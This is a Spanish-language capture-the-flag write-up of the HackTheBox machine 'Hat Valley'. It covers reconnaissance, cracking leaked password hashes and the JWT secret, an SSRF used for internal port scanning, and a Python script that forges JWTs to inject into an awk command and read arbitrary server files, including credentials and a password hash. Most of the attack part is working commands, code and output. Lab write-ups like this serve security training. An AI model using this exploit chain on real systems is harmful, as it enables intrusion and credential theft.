Conocimientos
Reconocimiento
Escaneo de puertos con nmap
Descubrimiento de puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn 10.10.11.185 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-23 11:35 GMT
Nmap scan report for 10.10.11.185
Host is up (0.082s latency).
Not shown: 65307 closed tcp ports (reset), 226 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 13.60 seconds
Escaneo de versión y servicios de cada puerto
nmap -sCV -p22,80 10.10.11.185 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-23 11:37 GMT
Nmap scan report for 10.10.11.185
Host is up (0.30s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 7254afbaf6e2835941b7cd611c2f418b (ECDSA)
|_ 256 59365bba3c7821e326b37d23605aec38 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.78 seconds
Puerto 80 (HTTP)
Con whatweb
, analizo las tecnologías que emplea el servidor web
whatweb http://10.10.11.185
http://10.10.11.185 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.185], Meta-Refresh-Redirect[http://hat-valley.htb], nginx[1.18.0]
ERROR Opening: http://hat-valley.htb - no address for hat-valley.htb
Añado el dominio hat-valley.htb
al /etc/hosts
whatweb http://10.10.11.185
http://10.10.11.185 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.185], Meta-Refresh-Redirect[http://hat-valley.htb], nginx[1.18.0]
http://hat-valley.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.185], JQuery[3.0.0], Script[text/javascript], Title[Hat Valley], X-Powered-By[Express], X-UA-Compatible[IE=edge], nginx[1.18.0]
La página principal se ve así:
Aplico fuzzing para descubrir rutas
gobuster dir -u http://hat-valley.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 50
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://hat-valley.htb/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/03/23 11:45:29 Starting gobuster in directory enumeration mode
===============================================================
/css (Status: 301) [Size: 173] [--> /css/]
/js (Status: 301) [Size: 171] [--> /js/]
/static (Status: 301) [Size: 179] [--> /static/]
Encuentro un subdominio
wfuzz -c -t 200 --hh=132 -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.hat-valley.htb" http://hat-valley.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://hat-valley.htb/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000081: 401 7 L 12 W 188 Ch "store"
Total time: 33.52812
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 148.8004
Necesito credenciales para acceder a él
Veo el router.js
desde el Chromium
import { createWebHistory, createRouter } from "vue-router";
import { VueCookieNext } from 'vue-cookie-next'
import Base from '../Base.vue'
import HR from '../HR.vue'
import Dashboard from '../Dashboard.vue'
import Leave from '../Leave.vue'
const routes = [
{
path: "/",
name: "base",
component: Base,
},
{
path: "/hr",
name: "hr",
component: HR,
},
{
path: "/dashboard",
name: "dashboard",
component: Dashboard,
meta: {
requiresAuth: true
}
},
{
path: "/leave",
name: "leave",
component: Leave,
meta: {
requiresAuth: true
}
}
];
const router = createRouter({
history: createWebHistory(),
routes,
});
router.beforeEach((to, from, next) => {
if((to.name == 'leave' || to.name == 'dashboard') && VueCookieNext.getCookie('token') == 'guest') { //if user not logged in, redirect to login
next({ name: 'hr' })
}
else if(to.name == 'hr' && VueCookieNext.getCookie('token') != 'guest') { //if user logged in, skip past login to dashboard
next({ name: 'dashboard' })
}
else {
next()
}
})
export default router;
En la ruta /hr
hay un nuevo panel de autenticación
La intercepto con BurpSuite
, y veo que la petición se está tramitando contra una API. En caso de no introducir todos los datos, se leakean rutas
curl -s -X POST http://hat-valley.htb/api/login
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>TypeError [ERR_INVALID_ARG_TYPE]: The first argument must be of type string or an instance of Buffer, ArrayBuffer, or Array or an Array-like Object. Received undefined<br> at Function.from (buffer.js:330:9)<br> at new Buffer (buffer.js:286:17)<br> at module.exports (/var/www/hat-valley.htb/node_modules/sha256/lib/nodecrypto.js:14:12)<br> at /var/www/hat-valley.htb/server/server.js:30:76<br> at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)<br> at next (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:144:13)<br> at Route.dispatch (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:114:3)<br> at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)<br> at /var/www/hat-valley.htb/node_modules/express/lib/router/index.js:284:15<br> at Function.process_params (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:346:12)</pre>
</body>
</html>
Al igual que antes, inspecciono los archivos en JavaScript para descubrir rutas. En el leave.js
, aparece la de la API
import axios from 'axios'
axios.defaults.withCredentials = true
const baseURL = "/api/"
const get_all = () => {
return axios.get(baseURL + 'all-leave')
.then(response => response.data)
}
const submit_leave = (reason, start, end) => {
return axios.post(baseURL + 'submit-leave', {reason, start, end})
.then(response => response.data)
}
export default {
get_all,
submit_leave
}
Pero le está concatenando la ruta submit-leave
. Al replicarla veo lo siguiente:
curl -s -X POST http://hat-valley.htb/api/submit-leave; echo
Invalid user
Veo otro archivo, y encuentro /store-status
import axios from 'axios'
axios.defaults.withCredentials = true
const baseURL = "/api/"
const store_status = (URL) => {
const params = {
url: {toJSON: () => URL}
}
return axios.get(baseURL + 'store-status', {params})
.then(response => response.data)
}
export default {
store_status
}
Lo mismo para /staff-details
import axios from 'axios'
axios.defaults.withCredentials = true
const baseURL = "/api/"
const staff_details = () => {
return axios.get(baseURL + 'staff-details')
.then(response => response.data)
}
export default {
staff_details
}
Pero en esta ocasión me aparecen usuarios con sus respectivos hashes
curl -s -X GET http://hat-valley.htb/api/staff-details | jq
[
{
"user_id": 1,
"username": "christine.wool",
"password": "6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649",
"fullname": "Christine Wool",
"role": "Founder, CEO",
"phone": "0415202922"
},
{
"user_id": 2,
"username": "christopher.jones",
"password": "e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1",
"fullname": "Christopher Jones",
"role": "Salesperson",
"phone": "0456980001"
},
{
"user_id": 3,
"username": "jackson.lightheart",
"password": "b091bc790fe647a0d7e8fb8ed9c4c01e15c77920a42ccd0deaca431a44ea0436",
"fullname": "Jackson Lightheart",
"role": "Salesperson",
"phone": "0419444111"
},
{
"user_id": 4,
"username": "bean.hill",
"password": "37513684de081222aaded9b8391d541ae885ce3b55942b9ac6978ad6f6e1811f",
"fullname": "Bean Hill",
"role": "System Administrator",
"phone": "0432339177"
}
]
curl -s -X GET http://hat-valley.htb/api/staff-details | jq '.[] | "\(.username):\(.password)"' -r > hashes
Los crackeo con hashcat
.
hashcat -m 1400 hashes /usr/share/wordlists/rockyou.txt --show
e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1:chris123
Al cargar /staff-details
, se está setteando una cookie token=guest
si lo hago desde el navegador
GET /api/staff-details HTTP/1.1
Host: hat-valley.htb
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: token=guest
Connection: close
Intento iniciar sesión. Recibo un JWT
POST /api/login HTTP/1.1
Host: hat-valley.htb
Content-Length: 54
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Content-Type: application/json
Origin: http://hat-valley.htb
Referer: http://hat-valley.htb/hr
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: token=guest
Connection: close
{"username":"christopher.jones","password":"chris123"}
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 23 Mar 2023 16:58:31 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 180
Connection: close
x-powered-by: Express
access-control-allow-origin: *
etag: W/"b4-Mq3l8ocxeXXziBtzK2qucwBFFp0"
{"name":"Christopher","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjc5NTkwNzExfQ.aopS9-01swwY-nTnRy6ncur6wZwgEPK3QnG4aDibq5s"}
Está compuesto por lo siguiente:
La interfaz de /hr
se ve así:
Hay un SSRF en un openredirect
GET /api/store-status?url="http://127.0.0.1:80" HTTP/1.1
Host: hat-valley.htb
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Referer: http://hat-valley.htb/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjc5NTkxMTM1fQ.lX7idsk2WrMUTxVUeMD0xHMR_DD05ldskrbEOMaQ8-I
Connection: close
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 23 Mar 2023 17:07:32 GMT
Content-Type: text/html; charset=utf-8
Connection: close
x-powered-by: Express
access-control-allow-origin: *
etag: W/"84-P/5ob00JvOzx20G7pf2GChzepTg"
Content-Length: 132
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Refresh" content="0; url='http://hat-valley.htb'" />
</head>
<body>
</body>
</html>
Utilizo wfuzz
para hacer un PortDiscovery
wfuzz -c --hh=0 -t 200 -z range,1-65535 'http://hat-valley.htb/api/store-status?url="http://127.0.0.1:FUZZ"'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://hat-valley.htb/api/store-status?url="http://127.0.0.1:FUZZ"
Total requests: 65535
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000080: 200 8 L 13 W 132 Ch "80"
000003002: 200 685 L 5834 W 77002 Ch "3002"
000008080: 200 54 L 163 W 2881 Ch "8080"
Total time: 0
Processed Requests: 65535
Filtered Requests: 65532
Requests/sec.: 0
El 8080 contiene lo siguiente
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 23 Mar 2023 17:13:24 GMT
Content-Type: text/html; charset=utf-8
Connection: close
x-powered-by: Express
access-control-allow-origin: *
etag: W/"b41-tn8t3x3qcvcm126OQ/i0AXwBj8M"
Content-Length: 2881
<!DOCTYPE html>
<html lang="">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<link rel = "stylesheet" href = "/css/main.css">
<link rel="stylesheet" href="/css/bootstrap.min.css">
<!-- style css -->
<link rel="stylesheet" href="/css/style.css">
<!-- Responsive-->
<link rel="stylesheet" href="/css/responsive.css">
<!-- fevicon -->
<link rel="icon" href="/static/blue.png" type="image/png" />
<!-- Scrollbar Custom CSS -->
<link rel="stylesheet" href="/css/jquery.mCustomScrollbar.min.css">
<!-- Tweaks for older IEs-->
<link rel="stylesheet" href="/css/font-awesome.css">
<link rel="stylesheet" href="/css/jquery.fancybox.min.css" media="screen">
<link rel="stylesheet" href="/static/vendors/mdi/css/materialdesignicons.min.css">
<link rel="stylesheet" href="/static/vendors/feather/feather.css">
<link rel="stylesheet" href="/static/vendors/base/vendor.bundle.base.css">
<link rel="stylesheet" href="/static/vendors/flag-icon-css/css/flag-icon.min.css">
<link rel="stylesheet" href="/static/vendors/font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" href="/static/vendors/jquery-bar-rating/fontawesome-stars-o.css">
<link rel="stylesheet" href="/static/vendors/jquery-bar-rating/fontawesome-stars.css">
<link rel="stylesheet" href="/static/css/style.css">
<title>Hat Valley</title>
<link href="/js/app.js" rel="preload" as="script"><link href="/js/chunk-vendors.js" rel="preload" as="script"></head>
<body>
<noscript>
<strong>We're sorry but hat-valley doesn't work properly without JavaScript enabled. Please enable it to continue.</strong>
</noscript>
<div id="app"></div>
<!-- built files will be auto injected -->
<script src="/js/jquery.min.js"></script>
<script src="/js/popper.min.js"></script>
<script src="/js/bootstrap.bundle.min.js"></script>
<script src="/js/jquery-3.0.0.min.js"></script>
<script src="/js/plugin.js"></script>
<!-- sidebar -->
<script src="/js/jquery.mCustomScrollbar.concat.min.js"></script>
<script src="/js/custom.js"></script>
<script src="/js/jquery.fancybox.min.js"></script>
<script src="/static/vendors/base/vendor.bundle.base.js"></script>
<script src="/static/js/off-canvas.js"></script>
<script src="/static/js/hoverable-collapse.js"></script>
<script src="/static/js/template.js"></script>
<script src="/static/vendors/chart.js/Chart.min.js"></script>
<script src="/static/vendors/jquery-bar-rating/jquery.barrating.min.js"></script>
<script src="/static/js/dashboard.js"></script>
<script type="text/javascript" src="/js/chunk-vendors.js"></script><script type="text/javascript" src="/js/app.js"></script></body>
</html>
Este campo también es vulnerable a RFI
GET /api/store-status?url="http://10.10.16.5/" HTTP/1.1
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.185 - - [23/Mar/2023 17:19:09] "GET / HTTP/1.1" 200 -
Pero al no interpretar PHP es complicado poder derivarlo a RCE. En el puerto 3002 hay un panel de ayuda de la API
Inspecciono el código de /submit-leave
app.post('/api/submit-leave', (req, res) => {
const {reason, start, end} = req.body
const user_token = req.cookies.token
var authFailed = false
var user = null
if(user_token) {
const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
if(!decodedToken.username) {
authFailed = true
}
else {
user = decodedToken.username
}
}
if(authFailed) {
return res.status(401).json({Error: "Invalid Token"})
}
if(!user) {
return res.status(500).send("Invalid user")
}
const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]
const badInUser = bad.some(char => user.includes(char));
const badInReason = bad.some(char => reason.includes(char));
const badInStart = bad.some(char => start.includes(char));
const badInEnd = bad.some(char => end.includes(char));
if(badInUser || badInReason || badInStart || badInEnd) {
return res.status(500).send("Bad character detected.")
}
const finalEntry = user + "," + reason + "," + start + "," + end + ",Pending\r"
exec(`echo "${finalEntry}" >> /var/www/private/leave_requests.csv`, (error, stdout, stderr) => {
if (error) {
return res.status(500).send("Failed to add leave request")
}
return res.status(200).send("Successfully added new leave request")
})
})
Y el de /all-leave
app.get('/api/all-leave', (req, res) => {
const user_token = req.cookies.token
var authFailed = false
var user = null
if(user_token) {
const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
if(!decodedToken.username) {
authFailed = true
}
else {
user = decodedToken.username
}
}
if(authFailed) {
return res.status(401).json({Error: "Invalid Token"})
}
if(!user) {
return res.status(500).send("Invalid user")
}
const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]
const badInUser = bad.some(char => user.includes(char));
if(badInUser) {
return res.status(500).send("Bad character detected.")
}
exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => {
if(stdout) {
return res.status(200).send(new Buffer(stdout, 'binary'));
}
if (error) {
return res.status(500).send("Failed to retrieve leave requests")
}
if (stderr) {
return res.status(500).send("Failed to retrieve leave requests")
}
})
})
Se está ejecutando el comando awk
, y el campo del usuario que le está concatenando, puedo controlarlo como input, por lo que es posible una inyección que me permita obtener un LFI. El único inconveniente, es que hay una lista de badchars que no puedo introducir. Además, para poder modificar el JWT, necesito obtener el secreto
Es posible llegar a crackearlo utilizando hashcat
hashcat hash /usr/share/wordlists/rockyou.txt --show
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
16500 | JWT (JSON Web Token) | Network Protocol
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjc5NTkwNzExfQ.aopS9-01swwY-nTnRy6ncur6wZwgEPK3QnG4aDibq5s:123beany123
Creo un script en python que me permita generar automáticamente el JWT para leer archivos de la máquina
#!/usr/bin/python3
import requests, jwt, sys
secret = "123beany123"
username = {"username": f"/' {sys.argv[1]} '/test"}
token = jwt.encode(username, secret)
main_url = "http://hat-valley.htb/api/all-leave"
cookies = {
"token": "%s" % token
}
r = requests.get(main_url, cookies=cookies)
print(r.text)
python3 lfi.py /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
bean:x:1001:1001:,,,:/home/bean:/bin/bash
christine:x:1002:1002:,,,:/home/christine:/bin/bash
Desde el /proc/self/environ
puedo ver que el usuario que está ejecutando el servicio web es www-data
python3 lfi.py /proc/self/environ
pm_out_log_path=/var/www/.pm2/logs/server-out.logSUDO_GID=0MAIL=/var/mail/www-dataLANGUAGE=en_AU:enUSER=www-datarestart_time=0PM2_USAGE=CLIusername=www-dataHOME=/var/wwwPM2_HOME=/var/www/.pm2created_at=1679571106074pm_cwd=/var/www/hat-valley.htbnamespace=defaultfilter_env=pm_exec_path=/var/www/hat-valley.htb/serverkill_retry_time=100pm_id=1unstable_restarts=0SUDO_UID=0node_args=LOGNAME=www-dataexec_mode=fork_modeTERM=unknownwindowsHide=trueNODE_APP_INSTANCE=0axm_monitor=[object Object]status=launchingPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binwatch=falseexec_interpreter=nodeaxm_options=[object Object]axm_dynamic=[object Object]vizion=truepm_err_log_path=/var/www/.pm2/logs/server-error.logpm_pid_path=/var/www/.pm2/pids/server-1.pidLANG=en_AU.UTF-8treekill=trueSUDO_COMMAND=/usr/local/bin/pm2 start serverpmx=trueSHELL=/usr/sbin/nologinunique_id=2084dfd2-1303-482d-8f1f-88a1f1613741automation=trueSUDO_USER=rootvizion_running=falseinstance_var=NODE_APP_INSTANCEname=serverPWD=/var/www/hat-valley.htbenv=[object Object]merge_logs=trueinstances=1km_link=falseaxm_actions=autorestart=truepm_uptime=1679571106074
Listo los paquetes de node.js
que están instalados
python3 lfi.py /var/www/hat-valley.htb/package.json | jq
{
"name": "hat-valley",
"version": "0.1.0",
"private": true,
"scripts": {
"serve": "./node_modules/@vue/cli-service/bin/vue-cli-service.js serve",
"build": "vue-cli-service build",
"lint": "vue-cli-service lint",
"server": "nodemon server/server.js"
},
"dependencies": {
"@fortawesome/fontawesome-free": "^6.2.0",
"axios": "^0.27.2",
"child_process": "^1.0.2",
"cookie-parser": "^1.4.6",
"cors": "^2.8.5",
"express": "^4.18.1",
"jsonwebtoken": "^8.5.1",
"mysql": "^2.18.1",
"nodemon": "^2.0.19",
"path": "^0.12.7",
"sha256": "^0.2.0",
"vue": "^3.2.39",
"vue-cookie-next": "^1.3.0",
"vue-router": "^4.1.5",
"vuex": "^4.0.2"
},
"devDependencies": {
"@vue/cli-plugin-babel": "~4.5.0",
"@vue/cli-plugin-eslint": "~4.5.0",
"@vue/cli-service": "~4.5.0",
"@vue/compiler-sfc": "^3.0.0",
"babel-eslint": "^10.1.0",
"eslint": "^6.7.2",
"eslint-plugin-vue": "^7.0.0"
},
"eslintConfig": {
"root": true,
"env": {
"node": true
},
"extends": [
"plugin:vue/vue3-essential",
"eslint:recommended"
],
"parserOptions": {
"parser": "babel-eslint"
},
"rules": {
"no-unused-vars": "off"
}
},
"browserslist": [
"> 1%",
"last 2 versions",
"not dead"
]
}
Y traigo el archivo que monta el servidor, server.js
python3 lfi.py /var/www/hat-valley.htb/server/server.js
const express = require('express')
const bodyParser = require('body-parser')
const cors = require('cors')
const jwt = require('jsonwebtoken')
const app = express()
const axios = require('axios')
const { exec } = require("child_process");
const path = require('path')
const sha256 = require('sha256')
const cookieParser = require("cookie-parser")
app.use(bodyParser.json())
app.use(cors())
app.use(cookieParser())
const mysql = require('mysql')
const { response } = require('express')
const connection = mysql.createConnection({
host: 'localhost',
user: 'root',
password: 'SQLDatabasePassword321!',
database: 'hatvalley',
stringifyObjects: true
})
const port = 3002
const TOKEN_SECRET = "123beany123"
app.post('/api/login', (req, res) => {
const {username, password} = req.body
connection.query(
'SELECT * FROM users WHERE username = ? AND password = ?', [ username, sha256(password) ],
function (err, results) {
if(err) {
return res.status(401).send("Incorrect username or password")
}
else {
if(results.length !== 0) {
const userForToken = {
username: results[0].username
}
const firstName = username.split(".")[0][0].toUpperCase() + username.split(".")[0].slice(1).toLowerCase()
const token = jwt.sign(userForToken, TOKEN_SECRET)
const toReturn = {
"name": firstName,
"token": token
}
return res.status(200).json(toReturn)
}
else {
return res.status(401).send("Incorrect username or password")
}
}
}
);
})
app.post('/api/submit-leave', (req, res) => {
const {reason, start, end} = req.body
const user_token = req.cookies.token
var authFailed = false
var user = null
if(user_token) {
const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
if(!decodedToken.username) {
authFailed = true
}
else {
user = decodedToken.username
}
}
if(authFailed) {
return res.status(401).json({Error: "Invalid Token"})
}
if(!user) {
return res.status(500).send("Invalid user")
}
const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"] //https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html
const badInUser = bad.some(char => user.includes(char));
const badInReason = bad.some(char => reason.includes(char));
const badInStart = bad.some(char => start.includes(char));
const badInEnd = bad.some(char => end.includes(char));
if(badInUser || badInReason || badInStart || badInEnd) {
return res.status(500).send("Bad character detected.")
}
const finalEntry = user + "," + reason + "," + start + "," + end + ",Pending\r"
exec(`echo "${finalEntry}" >> /var/www/private/leave_requests.csv`, (error, stdout, stderr) => {
if (error) {
return res.status(500).send("Failed to add leave request")
}
return res.status(200).send("Successfully added new leave request")
})
})
app.get('/api/all-leave', (req, res) => {
const user_token = req.cookies.token
var authFailed = false
var user = null
if(user_token) {
const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
if(!decodedToken.username) {
authFailed = true
}
else {
user = decodedToken.username
}
}
if(authFailed) {
return res.status(401).json({Error: "Invalid Token"})
}
if(!user) {
return res.status(500).send("Invalid user")
}
const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"] //https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html
const badInUser = bad.some(char => user.includes(char));
if(badInUser) {
return res.status(500).send("Bad character detected.")
}
exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => {
if(stdout) {
return res.status(200).send(new Buffer(stdout, 'binary'));
}
if (error) {
return res.status(500).send("Failed to retrieve leave requests")
}
if (stderr) {
return res.status(500).send("Failed to retrieve leave requests")
}
})
})
app.get('/api/store-status', async (req, res) => {
await axios.get(req.query.url.substring(1, req.query.url.length-1))
.then(http_res => {
return res.status(200).send(http_res.data)
})
.catch(http_err => {
return res.status(200).send(http_err.data)
})
})
app.get('/api/staff-details', (req, res) => {
const user_token = req.cookies.token
var authFailed = false
if(user_token) {
const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
if(!decodedToken.username) {
authFailed = true
}
}
if(authFailed) {
return res.status(401).json({Error: "Invalid Token"})
}
connection.query(
'SELECT * FROM users',
function (err, results) {
if(err) {
return res.status(500).send("Database error")
}
else {
return res.status(200).json(results)
}
}
);
})
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname+'/readme.html'))
})
app.listen(port, 'localhost', () => {
console.log(`Server listening on port ${port}`)
connection.connect()
})
Se pueden ver credenciales de acceso a la base de datos, root:SQLDatabasePassword321!
. No se reutilizan así que de momento no me sirven de nada
Ahora traigo el archivo de configuración de almacenamiento de nginx
python3 lfi.py /etc/nginx/sites-available/store.conf | sed 's/^\s*//' | sed '/^#/d' | grep .
server {
listen 80;
server_name store.hat-valley.htb;
root /var/www/store;
location / {
index index.php index.html index.htm;
}
location ~ /cart/.*\.php$ {
return 403;
}
location ~ /product-details/.*\.php$ {
return 403;
}
location ~ \.php$ {
auth_basic "Restricted";
auth_basic_user_file /etc/nginx/conf.d/.htpasswd;
fastcgi_pass unix:/var/run/php/php8.1-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
include fastcgi_params;
}
}
Y veo el htpasswd
. Contiene un hash
python3 lfi.py /etc/nginx/conf.d/.htpasswd
admin:$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1
En la bashrc
del usuario bean
está creado un alias que referencia a un documento
python3 lfi.py /home/bean/.bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
# If not running interactively, don't do anything
case $- in
*i*) ;;
*) return;;
esac
# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth
# append to the history file, don't overwrite it
shopt -s histappend
# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000
# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize
# If set, the pattern "**" used in a pathname expansion context will
# match all files and zero or more directories and subdirectories.
#shopt -s globstar
# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"
# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
debian_chroot=$(cat /etc/debian_chroot)
fi
# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
xterm-color|*-256color) color_prompt=yes;;
esac
# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes
if [ -n "$force_color_prompt" ]; then
if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
# We have color support; assume it's compliant with Ecma-48
# (ISO/IEC-6429). (Lack of such support is extremely rare, and such
# a case would tend to support setf rather than setaf.)
color_prompt=yes
else
color_prompt=
fi
fi
if [ "$color_prompt" = yes ]; then
PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt
# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
;;
*)
;;
esac
# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
alias ls='ls --color=auto'
#alias dir='dir --color=auto'
#alias vdir='vdir --color=auto'
alias grep='grep --color=auto'
alias fgrep='fgrep --color=auto'
alias egrep='egrep --color=auto'
fi
# colored GCC warnings and errors
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'
# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'
# custom
alias backup_home='/bin/bash /home/bean/Documents/backup_home.sh'
# Add an "alert" alias for long running commands. Use like so:
# sleep 10; alert
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.
if [ -f ~/.bash_aliases ]; then
. ~/.bash_aliases
fi
# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
if [ -f /usr/share/bash-completion/bash_completion ]; then
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
fi
